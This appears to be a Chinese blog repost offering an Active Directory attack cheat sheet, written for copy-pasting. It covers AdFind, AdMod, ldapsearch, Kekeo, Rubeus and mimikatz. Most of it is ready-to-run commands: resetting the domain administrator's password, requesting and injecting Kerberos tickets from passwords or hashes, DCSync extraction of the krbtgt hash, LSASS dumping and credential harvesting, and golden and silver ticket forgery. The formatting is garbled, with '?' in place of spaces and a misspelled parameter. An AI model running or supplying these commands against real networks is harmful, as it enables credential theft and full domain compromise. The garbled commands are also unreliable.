编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

域内武器化工具1.5W字详解(适合快速复制粘贴命令)

wxchong 2024-07-02 03:38:50 开源技术 21 ℃ 0 评论

武器化工具

需要md文档或pdf文档的可以后台留言?文档?获得~

Adfind的使用

Adfind是C++编写的活动目录查询工具

参数

  1. 1.?连接参数

连接参数是在连接的时候指定的参数。如果在域内机器上执行Adfind,则不需要连接参数。如果是域外机器上执行Adfind,则需要指定连接参数。

  • ??h 指定主机与端口(ip:port)

  • ??p 也可以单独指定端口

  • ??u 指定用户

  • ??up 指定密码

  1. 1.?过滤参数

过滤参数用于指定查询的时候需要过滤的一些条件

  • ??b 指定要查询的根节点basedn

  • ??bit 指定位查询

  • ??f LDAP过滤条件 指定LDAP语法

  1. 1.?显示参数

显示参数是设置查询出来后如何显示的参数

  • ??appver 显示Adfind版本信息

  • ??c 只统计数量

  • ??csv 导出为csv格式

  • ??dn 只显示DN 不返回详细信息

  • ??s 搜索范围,包括one(当前层级)和sub(一层一层递归),默认是sub

  • ??recmute 如果所有属性都为空,则禁止显示DN,主要适用于-sddl过滤器选项

  • ??t 查询超时时间,默认为120s

  1. 1.?帮助参数

帮助参数用于提供帮助信息

  • ??help 基础帮助

  • ???? 高级帮助

  • ?????? 快捷方式帮助

  • ??sc? 快捷方式帮助

  • ??meta? 元数据帮助

  • ??regex? 固定表达式帮助

使用

Adfind工具使用的结构如下

Adfind.exe [switches] [-b basedn] [-f filter] [attr list]

  1. 1.?switches

连接参数,如果在域内机器上执行Adfind,则不需要该选项。如果是域外机器上执行Adfind,则需要指定域控并提供一个有效的域用户和密码。

  1. 1.?basedn

指定要查询的根节点basedn

#?查询DN为dc=god,dc=org下的所有机器
AdFind.exe?-b?dc=god,dc=org?-f?"objectcategory=computer"?dn

#?查询DN为CN=Computers,dc=god,dc=org下的所有机器
AdFind.exe?-b?CN=Computers,dc=god,dc=org?-f?"objectcategory=computer"?dn

  1. 1.?f filter

该选项指定查询的过滤条件,使用-f参数过滤不同的查询条件

#?查询域内所有机器
AdFind.exe?-f?"objectcategory=computer"?dn

#?查询域内所有用户
AdFind.exe?-f?"((objectcategory=person)(objectClass=user))"?dn
  1. 1.?attr list

该选项指定查询出来的结果显示哪个属性。当不使用该参数时,会显示查询对象的所有属性

#?查询域内所有机器,显示所有机器的所有属性
AdFind.exe?-f?"objectcategory=computer"

#?查询域内所有机器,显示所有机器的DN属性
AdFind.exe?-f?"objectcategory=computer"?dn

#?查询域内所有机器,显示所有机器的DN属性,查询结果不换行。只有DN属性能在前面加“-”符号
AdFind.exe?-f?"objectcategory=computer"?-dn

#?查询域内所有机器,显示所有机器的name属性
AdFind.exe?-f?"objectcategory=computer"?name

查询示例

实战中常用到的一些查询语法

1. 查询域信任关系

AdFind.exe?-f?objectclass=trusteddomain?-dn

2. 查询域控

#?查询域控名称
AdFind.exe?-sc?dclist

#?查询域控版本
AdFind.exe?-schema?-s?base?objectversion

3. 机器相关的查询命令

#?查询域中所有机器,只显示DN
AdFind.exe?-f?"objectcategory=computer"?dn

#?查询域中所有机器,显示机器名和操作系统
AdFind.exe?-f?"objectcategory=computer"?name?operatingSystem

#?查询域中活跃机器,只显示DN名
AdFind.exe?-sc?computers_active?dn

#?查询域中活跃机器,显示机器名和操作系统
AdFind.exe?-sc?computers_active?name?operatingSystem

#?查询指定机器的详细信息
AdFind.exe?-f?"(objectcategory=computer)(name=ROOT-TVI862UBEH)"

#?查询被域用户创建的机器账户列表
AdFind.exe?-b?"DC=xuan,DC=com"?-f?"objectClass=computer"?mS-DS-CreatorSID

4. 用户相关的查询命令

#?查询域管理员
AdFind.exe?-b?"CN=Domain?Admins,CN=Users,DC=god,DC=org"?member

#?查询域内所有用户
AdFind.exe?-b?dc=god,dc=org?-f?"((objectcategory=person)(objectClass=user))"?-dn

#?查询域内指定用户的信息
AdFind.exe?-sc?u:xuan

#?查询域内指定用户的sid值
AdFind.exe?-sc?adsid:S-1-5-21-2952760202-1353902439-2381784089-1111

#?查询域内指定用户属于哪些组
AdFind.exe?-s?subtree?-b?CN=administrator,CN=users,DC=god,DC=org?memberOf

#?递归查询指定用户属于哪些组
AdFind.exe?-s?subtree?-f?"(member:INCHAIN:="CN=administrator,CN=users,DC=god,DC=org")"?-bit?-dn

#?查询域内开启了不需要域认证选项的用户
AdFind.exe?-f?"useraccountcontrol:1.2.840.113556.1.4.803:=4194304"?-dn

#?查询受保护的用户
AdFind.exe?-f?"(objectcatory=person)(samaccountname=*)(admincount=1)"?-dn

#?查询users容器下所有对象
AdFind.exe?-users?-dn

5. 组相关的查询命令

#?查询域内所有的全局组
AdFind.exe?-f?"(grouptype=-2147483646)"?-dn

#?查询域内所有的通用组
AdFind.exe?-f?"(grouptype=-2147483640)"?-dn

#?查询域内所有的本地域组
AdFind.exe?-f?"(|(grouptype=-2147483644)(grouptype=-2147483643))"?-dn

#?查询指定组含有哪些对象
AdFind.exe?-s?subtree?-b?"CN=Domain?Admins,CN=Users,DC=god,DC=org"?member

#?递归查询指定组含有哪些域用户
AdFind.exe?-s?subtree?-b?dc=god,dc=org?-f?"(memberof:INCHAIN:="CN="Domain?Admins",CN=Users,DC=god,DC=org")"?-bit?-dn

6. 委派相关的查询命令

#?查询域中配置非约束性委派的主机
AdFind.exe?-b?"DC=god,DC=org"?-f?"((samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"?dn

#?查询域中配置非约束性委派的服务账户
AdFind.exe?-b?"DC=god,DC=org"?-f?"((samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"?dn

#?查询域中配置了约束性委派的主机,并可以看到被委派的SPN
AdFind.exe?-b?"DC=god,DC=org"?-f?"((samAccountType=805306369)(msds-allowedtodelegateto=*))"?msds-allowedtodelegateto

#?查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
AdFind.exe?-b?"DC=god,DC=org"?-f?"((samAccountType=805306368)(msds-allowedtodelegateto=*))"?msds-allowedtodelegateto

#查询域中配置了基于资源的约束性委派的主机
AdFind.exe?-b?"DC=god,DC=org"?-f?"((samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"?msDS-AllowedToActOnBehalfOfOtherIdentity

#?查询域中配置了基于资源的约束性委派的服务账户
AdFind.exe?-b?"DC=xuan,DC=com"?-f?"((samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"?msDS-AllowedToActOnBehalfOfOtherIdentity

#?查询域中所有机器,显示DN和CN
AdFind.exe?-b?"DC=xuan,DC=com"?-f?"objectClass=computer"?mS-DS-CreatorSID

#?根据查询出来的sid找出对应的用户名
AdFind.exe?-b?"DC=xuan,DC=com"?-f?"((objectsid=S-1-5-21-1477789205-324620140-3651044789-1108))"?objectclass?cn?dn

#?使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe?-b?"DC=xuan,DC=com"?-f?"objectClass=computer"?mS-DS-CreatorSID

#?使用Powershell反查SID对应的用户
powerpick?$objSID?=?New-Object?System.Security.Principal.SecurityIdentifier?S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser?=?$objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

7. 其他

#?查询域内具有复制目录权限的用户
AdFind.exe?-s?subtree?-b?"DC=god,DC=org"?nTSecurityDescriptor?-sddl+++?-sddlfilter?;;;"Replicating?Directory?Changes";;?-recmute?-resolvesids

#?查询域内具有复制目录所有项权限的用户
AdFind.exe?-s?subtree?-b?"DC=god,DC=org"?nTSecurityDescriptor?-sddl+++?-sddlfilter?;;;"Replicating?Directory?Changes?All";;?-recmute?-resolvesids

#?查询域中的OU
AdFind.exe?-f?"objectClass=organizationalUnit"?dn

#?查询域的ACL
AdFind.exe?-b?DC=gor,DC=org?-sc?getacl

#?查询rightsGuid对应的扩展权限
AdFind.exe?-b?CN=Extended-Rights,CN=Configuration,DC=god,DC=org?-f?"rightsGuid=1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"?dn

#?查询域内所有GPO
AdFind.exe?-sc?gpodmp

#?查询域内高权限的SPN
AdFind.exe?-b?"DC=gor,DC=org"?-f?"(servicePrincipalName=*)(admincount=1)"?servicePrincipalName

#?查询域内的所有邮箱并以csv格式显示
AdFind.exe?-f?"mail=*"?mail?-s?Subtree?-recmute?-csv?moblie

#?查询域内的所有手机号并以csv的格式显示
AdFind.exe?-f?"telephonenumber=*"?telephonenumber?-s?Subtree?-recmute?-csv?moblie

Admod

Admod是一个使用C++编写的活动目录修改器,允许有权限的用户轻松的修改各种活动目录信息

参数

  1. 1.?连接参数

连接参数是在连接的时候指定的参数

  • ??h 指定主机和端口

  • ??p 也可以单独使用-p参数指定端口

  • ??u 指定用户

  • ??up 指定密码

  1. 1.?过滤参数

  • ??b 指定要修改的根节点basedn

  1. 1.?修改参数

修改参数是修改是用到的一些参数,比如添加、删除、重命名等

  • ??rm 删除指定的对象

  • ??del -rm的别名

  • ??add 添加对象

  • ? undel x 取消删除指定的对象。需使用未知的父对象,除非x中提供了一个父节点

  • ??rename x 将对象重复名为x的RDN

  • ??move x 将对象移动到由x指定的父对象

使用

Admod使用结构如下:

Admod [switches] [-b basedn] [attr-action]

  1. 1.?switches

该选项是连接参数,在执行一些高权限操作的时候。需要指定高权限的用户名和密码

Admod?-h?192.168.52.138?-u?god.org\Administrator?-up?dc123.com?-b?dc=god,dc=org?"description::test"
  1. 1.?attr-action

该选项使用户指定要进行的操作,如add添加 rm删除等。使用rm删除用户testuser的命令如下

Admod.exe?-b?cn=testuser,cn=users,dc=god,dc=org?-rm

修改示例

1. 创建用户

创建testuser用户,创建完成后该用户仍处于禁用状态。

AdMod.exe?-b?cn=testuser,cn=users,dc=god,dc=org?-add?objectclass::user?samaccountname::testuser

2. 创建OU

创建技术部OU的命令 如果包含中文,先将当前页面编码改为GBK

AdMod.exe?-b?OU=技术部,DC=god,DC=org?-add?objectclass::organizationalUnit

3. 将用户移动到指定OU

AdMod.exe?-b?cn=testuser,cn=users,dc=god,dc=org?-move?OU=技术部,dc=god,dc=org

4. 删除用户

AdMod.exe?-b?cn=testuser,cn=users,dc=god,dc=org?-rm

5. 重置用户密码

重置域管理员administrator的密码为P@ss1234的命令如下 该功能不需要知道用户的原始密码

AdMod.exe?-users?-rb?cn=administrator?unicodepwd::P@ss1234?-optenc

6. 修改用户密码

修改域管理员administrator的密码为P@ss1234的命令如下 该功能需要知道用户的原始密码 这里用户的原始密码为dc123.com

AdMod.exe?-users?-rb?cn=administrator?unicodepwd::dc123.com?unicodepwd::P@ss1234?-optenc

7. 修改域的MAQ为0

修改域的MAQ值为0 即不允许普通域用户创建机器账户

AdMod.exe?-b?"dc=god,dc=org"?"ms-DS-MachineAccountQuota::0"

LDP

LDP是微软自带的一款活动目录信息查询工具 普通域成员主机默认没有LDP工具 可以自行上传

连接域控

绑定凭据

查看

Ldapsearch

Ldapsearch是类UNIX下一款用于活动目录信息查询的工具,kali自带

参数

Ldapsearch -h

  • ??H ldapuri 格式为ldap://机器名或者IP:端口号 不能与-h -p同时使用

  • ??h LDAP服务器IP 与-p 可结合使用

  • ??p LDAP服务器端口号,与-h可结合使用

  • ??x 使用简单认证方式

  • ??D 认证的用户名

  • ??w 密码 与-W二选一

  • ??W 不输入密码,会交互式的提示用户输入密码,与-w二选一

  • ??b 指定 basedn进行查询

  • ??f 从文件中读取操作

  • ??c 出错之后忽略当前错误继续执行,默认情况下遇到错误即终止

  • ??n 模拟操作但并不实际执行,用于验证,常与-v一同使用进行问题定位

  • ??v 显示详细信息

  • ??d 显示debug信息,可设定几倍

  • ??o 输出为文件

  • ??s 指定搜索范围,可选值有base、one、sub、children

使用

1. 连接

#?使用账户xuan和密码-H参数连接域控的389端口
ldapsearch?-H?ldap://192.168.52.138:389?-D?"xuan@god.org"?-w?123.com

#?使用账户xuan和密码-h参数连接域控?-p指定端口
ldapsearch?-h?192.168.52.138?-p?389?-D?"xuan@god.org"?-w?123.com

2. 过滤

#?查找指定basedn的信息
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=administrator,CN=Users,DC=god,DC=org"

#?查找指定basedn的信息,并且过滤出name=administrator的条目
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=administrator,CN=Users,DC=god,DC=org"?"name=administrator"

3. 显示

默认情况下,查找的结果会显示对象的所有属性,如果只想显示指定属性,在末尾加上属性名即可,也可以使用-o参数将结果导出在文件中

#查找用户administrator用户的所有信息
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=administrator,CN=Users,DC=god,DC=org"

#?查找用户administrator的DN属性
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=administrator,CN=Users,DC=god,DC=org"?dn

#?查找用户administrator的DN属性,使用grep过滤结果更直观
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=administrator,CN=Users,DC=god,DC=org"?|?grep?dn

#?查找用户administrator的所有信息,并将结果导出在指定LDIF格式文件中
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=administrator,CN=Users,DC=god,DC=org"?-o?ldif-wrap=no?>?administrator.ldif

#?使用adoffline.py脚本将LDIF格式文件转换为sqlite格式文件
python2?adoffline.py?~/administrator.ldif

查询示例

  1. 1.?机器相关的查询命令

#?查询域中所有域控
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"OU=Domain?Controllers,DC=god,DC=org"?"objectcategory=computer"?|?grep?dn

#?查询域中所有的机器(包括域控)
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"objectcategory=computer"?|?grep?dn
#?查询指定机器的详细信息
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((objectcategory=computer)(name=stu1))"
  1. 1.?用户相关的查询命令

#?查询域管理员组
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=Domain?Admins,
CN=Users,DC=god,DC=org"
?|?grep?member

#?查询域内所有用户
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"(
(objectcategory=person)(objectclass=user))"
?|?grep?dn

#?查询指定域用户xuan
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((objectcategory=person)(objectclass=user)(name=xuan))"

#?查询指定域用户的sid
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((objectcategory=person)(objectclass=user)(name=xuan))"?|?grep?objectSid

#?查询指定sid对应的用户
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((objectcategory=person)(objectclass=user)(objectsid=AQUAAAAAAAUVAAAAiov/r2fpslAZJPeNVwQAAA==))"

#?查询指定域用户属于哪些组
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((objectcategory=person)(objectclass=user)(name=administrator))"?memberOf

#?查询域内开启不需要预认证的用户
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"useraccountcontrol:1.2.840.113556.1.4.803:=4194304"?|?grep?dn

#?查询域内受保护的ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((objectcategory=person)(samaccountname=*)(admincount=1))"?|?grep?dn用户
  1. 1.?组相关的查询命令

#?查询域内所有全局组
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"groupType=-2147483646"?|?grep?dn

#?查询域内所有通用组
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"groupType=-2147483640"?|?grep?dn

#?查询域内所有本地域组
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"(|(grouptype=-2147483644)(grouptype=-2147483643))"?|?grep?dn

#?查询指定组含有哪些对象
ldapsearch?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"CN=Domain?Admins,CN=Users,DC=god,DC=org"?member
  1. 1.?委派相关的查询命令

#?查询域中配置了非约束性委派的主机
ldapsearch?-x?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"?|?grep?dn

#?查询域中配置非约束性委派的服务账户
ldapsearch?-x?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"?|?grep?dn

#?查询域中配置了约束性委派的主机,并可以看到被委派的SPN
ldapsearch?-x?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((samAccountType=805306369)(msds-allowedtodelegateto=*))"?|?grep?-e?dn?-e?msDS-AllowedToDelegateTo

#?查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
ldapsearch?-x?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((samAccountType=805306368)(msds-allowedtodelegateto=*))"?|?grep?-e?dn?-e?msDS-AllowedToDelegateTo

#?查询域中配置基于资源的约束性委派的主机
ldapsearch?-x?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"?|?grep?dn

#?查询域中配置基于资源的约束性委派的服务账户
ldapsearch?-x?-H?ldap://192.168.52.138:389?-D?"administrator@god.org"?-w?P@ss1234?-b?"DC=god,DC=org"?"((samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"?|?grep?dn

Kekeo

使用C语言编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求的票据导入内存中,从而模拟Kerberos各个阶段攻击手段 了解即可

kekeo提供的模块

  1. 1.?standard模块

命令解释如下:

  • ??exit 退出

  • ??cls 清屏

  • ??answer 回答关于生命、宇宙、和一切的终极问题

  • ??coffee 打印一个咖啡图形

  • ??sleep 睡眠时间为1ms

  • ??log 打印日志到文件

  • ??base64 用于input/output对于base64的支持

  • ??version 显示版本

  • ??cd 切换目录

  • ??localtime 查看当前时间

这些standard命令几乎不常用 但是需要提一下base64

#?查看base64的支持
base64

#?input?支持base64
base64?/input:on

#?output?支持base64
base64?/output:on

#?input?不支持base64
base64?/input:off

#?output?不支持base64
base64?/output:off
  1. 1.?其他模块

  • ??TGT模块

  • ??TGS模块

  • ??exploit 攻击模块

  • ??misc 杂项模块

  • ??Kerberos包模块

  • ??smb小型模块

  • ??NTLM模块

  • ??TSSSP模块

最常用的是TGT和TGS模块

申请TGT

使用TGT模块申请TGT,可以使用明文或密码哈希进行认证。可以将票据导出成文件,或者直接导入到当前内存中

将TGT导入内存后,想请求什么服务,系统就会自动利用该TGT请求指定的服务ST

  1. 1.?明文密码请求

kekeo支持使用明文密码请求TGT,有kekeo自动导入票据和通过mimikatz手动导入票据两种方式

  • ??kekeo自动导入票据

使用administrator的明文密码请求TGT的命令如下,并自动导入到内存中;票据导入到内存中,就可以访问高权限服务了

#?明文密码申请TGT并导入到内存中
tgt::ask?/user:administrator?/domain:god.org?/password:P@ss1234?/ptt
  • ??使用mimkatz手动导入票据

使用administrator的明文密码请求TGT的命令如下,并生成以kirbi结尾的票据,此时不导入内存中,接着使用mimikatz将该票据手动导入内存中。

#?明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask?/user:administrator?/domain:god.org?/password:P@ss1234

然后使用mimikatz将票据导入内存中,就可以使用该票据了

mimikatz.exe?"kerberos::ptt?TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"?"exit"
  1. 1.?密码哈希请求

使用administrator的密码哈希请求TGT的命令如下

#?密码哈希申请TGT并导入内存中
tgt::ask?/user:administrator?/domain:god.org?/ntlm:74520a4ec2626e3638066146a0d5ceae?/ptt

#?密码哈希申请TGT,此时会产生一个kirbi结尾的票据?使用mimikatz导入即可使用
tgt::ask?/user:administrator?/domain:god.org?/ntlm:74520a4ec2626e3638066146a0d5ceae

申请ST

kekeo使用tgs模块申请ST,需要提供一张TGT。因此,要先使用kekeo申请一张TGT,在使用tgs模块用TGT请求指定服务的ST。可以将请求的ST导入内存中或者导出成票据文件

  1. 1.?请求TGT

生成一张TGT

#?明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask?/user:administrator?/domain:god.org?/password:P@ss1234
  1. 1.?请求ST

请求St,平时请求的CIFS的票据指定用于dir操作而不能使用mimikatz的DCSync功能,要想使用的话,需要请求LDAP服务

  • ??请求CIFS

用上一步得到的TGT请求CIFS的ST ,导入后即可访问CIFS服务

tgs::ask?/tgt:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi?/sevice:cifs/owa.god.org
  • ??请求LDAP服务

利用上一步得到的TGT请求LDAP服务的ST

#?请求访问owa.god.org?的LDAP服务的ST并导入内存中
tgs::ask?/tgt:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi?/sevice:ldap/owa.god.org?/ptt

#?通过mimikatz的DCSync功能导出域用户的Hash
mimikatz.exe?"lsadump::dcsync?/domain:god.org?/user:krbtgt/csv"?"exit"

没导入ST之前无法导出krbtgt用户哈希

导入ST后就可以了

Rubeus

Rubeus可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如TGT请求\ST请求\AS-REP Roasting攻击\Kerberoasting攻击\委派攻击\黄金票据\白银票据等。

申请TGT

Rubeus使用asktgt模块请求TGT,可以使用明文、密码哈希(DES加密和RC4加密)和AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。也可以将TGT保存为文件,还可以将TGT导入内存中

asktgt模块有以下参数 中括号内的为可选参数

  • ??user:USER 请求的用户名

  • ??</password:PASSWORD [/enctype:DES|RC4|AEX128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH>

  • ??[/domain:DOMAIN] 域名

  • ??[/dc:DOMAIN_CONTROLLER] 域控

  • ??[outfile:FILENAME] 输出的文件

  • ??[/ptt] 将票据导入内存中

  • ??[/luid] 将生成的票据用于指定的登录会话(需要管理员权限)

  • ??[/mowrap] 打印出的base64格式票据的显示格式更友好

  • ??[/nopac] 票据中不请求PAC

如果没有指定/domain参数,则默认使用主机当前所在的域,如果没有指定/dc参数 则使用DsGetDcName函数来获取主机当前所在域的域控

  1. 1.?明文密码请求

Rubeus支持使用明文密码请求TGT,使用administrator的明文密码请求TGT,命令如下:

#?明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe?asktgt?/user:administrator?/password:P@ss1234?/nowrap?/ptt

#?明文密码申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe?asktgt?/user:administrator?/password:P@ss1234?/nowrap?/ptt?/outfile:ticket.kirbi

TGT导入内存后,就可以访问高权限服务了

  1. 1.?密码Hash请求

Rubeus也支持使用密码hash请求TGT。使用administrator的密码哈希请求TGT,命令如下

#?密码哈希申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe?asktgt?/user:administrator?/rc4:74520a4ec2626e3638066146a0d5ceae?/enctype:RC4?/nowrap?/ptt

#?密码哈希申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe?asktgt?/user:administrator?/rc4:74520a4ec2626e3638066146a0d5ceae?/enctype:RC4?/nowrap?/ptt?/outfile:ticket.kirbi

TGT导入内存后,即可以访问高权限服务

申请ST

Rubeus使用asktgs模块申请ST,需要提供一张TGT,提供的TGT可以是base64格式的也可以是kirbi结尾的票据文件。因此要先使用Rubeus请求一张TGT,然后再使用asktgs模块使用该TGT请求指定的服务的ST。可以将请求的ST以base64格式打印出来,也可以将ST保存为文件,也可以将ST直接导入内存中。

asktgs模块有以下参数:

  • ??</ticket:Base64 | ticket:FILE.KIRBI> 票据文件

  • ??</service:SPN1,SPN2> 请求的服务

  • ??[/enctype:DES|RC4|AEX128|AES256] 加密类型

  • ??[/dc:DOMAIN_CONTROLLER] 域控

  • ??[/outfile:FILENAME] 输出的文件

  • ??[/ptt] 将票据导入到内存中

  • ??[/nowrap] 打印出的base64格式票据的显示格式更友好

  • ??</tgs:BASE64 | /tgs:FILE.KIRBI> 指定生成base64格式的票据还是票据文件

  1. 1.?请求TGT

首先使用Rubeus执行如下命令请求一张TGT

#?明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe?asktgt?/user:administrator?/password:P@ss1234?/nowrap?/ptt
  1. 1.?请求ST

使用上一步请求的TGT即可请求指定服务的ST了

  • ??请求CIFS的ST

#?请求范围跟owa.god.org?的CIFS的ST,并导入内存
Rubeus.exe?asktgs?/service:"cifs/owa.god.org"?/nowrap?/ptt/ticket:TGT票据的base64格式
  • ??请求LDAP的ST

Rubeus.exe?asktgs?/service:"ldap/owa.god.org"?/nowrap?/ptt/ticket:TGT票据的base64格式
mimikatz.exe?"lsadump::dcsync?/domain:god.org?/user:krbtgt/csv"?"exit"

没导入ST之前无法导出krbtgt用户哈希

导入ST后就可以了

Rubeus导入票据

Rubeus支持通过票据文件或base64格式的票据进行导入。除了Rubeus请求生成的base64票据还可以是其他工具生成的票据,只要是.kirbi为后缀的就可以

1. 导入base64格式的票据

如果请求票据的时候没有使用/ptt参数导入内存中,可以直接使用Rubeus导入请求的base64格式的票据,即可访问目标

请求TGT不导入内存中

Rubeus.exe?asktgt?/user:administrator?/password:P@ss1234?/nowrap

使用以下命令将base64格式的票据导入内存中

Rubeus.exe?ptt?/ticket:上一步请求的TGT

2. 导入票据文件

  • ??导入Rubeus生成的票据文件

使用Rubeus生成的票据文件,并使用Rubeus导入票据文件

#?明文密码申请TGT,将票据保存为ticket.kirbi文件,不导入内存中
Rubeus.exe?asktgt?/user:administrator?/password:P@ss1234?/nowrap?/outfile:ticket.kirbi

#?导入票据
Rubeus.exe?ptt?/ticket:ticket.kirbi
  • ??导入kekeo生成的票据文件

#?明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask?/user:administrator?/domain:god.org?/password:P@ss1234

#?导入票据
Rubeus.exe?ptt?/ticket:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

AS-REP Roasting

Kerberoasting

委派攻击

mimikatz

1. standard模块

与Kekeo工具的Standard模块功能一样

2. 其他模块

  • ??crypto 加密模块

  • ??sekurlsa 用来枚举凭据的命令

  • ??kerberos包模块

  • ??ngc 下一代密码学模块

  • ??privilege 提权模块

  • ??process 进程模块

  • ??service 服务模块

  • ??lsadump模块

  • ??ts 终端服务器模块

  • ??event 事件模块

  • ??misc 杂项模块

  • ??token 令牌操作模块

  • ??vault Windows凭据模块

  • ??minesweeper模块

  • ??dpapi模块

  • ??busylight模块

  • ??sysenv 系统环境值模块

  • ??sid 安全标识符模块

  • ??iis IIS XML配置模块

  • ??rpc RPC控制

  • ??sr98设备和T5577目标模块

  • ??acr ACR模块

其中常用的是privilege、sekurlsa、kerberos、lsadump、token、sid模块

  1. 1.?privilege模块

该模块是用于提权的模块,很多模块需要高权限运行,所以要先进行提权,只能用具有管理员权限的命令行窗口才可以执行成功,普通用户使用提权命令会失败

privilege::debug
  1. 1.?sekurlsa模块

使用该模块需要高权限,因此需要执行提权命令,如下是常用命令

#?只抓取内存中保存的用户明文密码
mimikatz.exe?"privilege::debug"?"sekurlsa::wdigest"?exit

#?只抓取内存中保存的用户Hash
mimikatz.exe?"privilege::debug"?"sekurlsa::msv"?exit

#?只抓取内存中保存的用户密码的Key值
mimikatz.exe?"privilege::debug"?"sekurlsa::ekeys"?exit

#?抓取内存中保存的用户所有凭据
mimikatz.exe?"privilege::debug"?"sekurlsa::logonpasswords"?exit

#?加载dmp文件,并导出其中的明文密码
procdump.exe?-accepteula?-ma?lsass.exe?lsass.dmp
privilege::debug
sekurlsa::minidump?lsass.dmp
sekurlsa::logonpasswords?full

#?导出lsass.exe?进程中所有的票据
sekurlsa::tickets?/export

从server2012开始,默认情况下,内存中不保存用户的 明文密码

  1. 1.?kerberos模块

该模块是与Kerberos相关的模块

#?查看内存中的kerberos?TGT
mimikatz.exe?"kerberos::tgt"?exit

#?查看内存中所有的Kerberos票据
mimikatz.exe?"kerberos::list"?exit

#?清除票据
mimikatz.exe?"kerberos::purge"?exit

#?将票据注入到内存中
mimikatz.exe?"kerberos::ptt?administrator.kirbi"?exit

#?黄金票据传递攻击
kerberos::golden?/user:要伪造的域用户?/domain:域名?/sid:域的sid?/krbtgt:krbtgt的哈希或AES?Key?/ptt

#?白银票据传递攻击
kerberos::golden?/user:要伪造的域用户?/domain:域名?/sid:域的sid?/target:服务机器?/service:指定服务如cifs、ldap?/rc4:服务账户的Hash?/ptt
  1. 1.?lsadump模块

改模块是对Local Security Authiruty(LSA)进行密码抓取的模块

#?通过DSync导出指定用户的Hash,格式化输出
lsadump::dcsync?/domain:god.org?/user:krbtgt?/csv
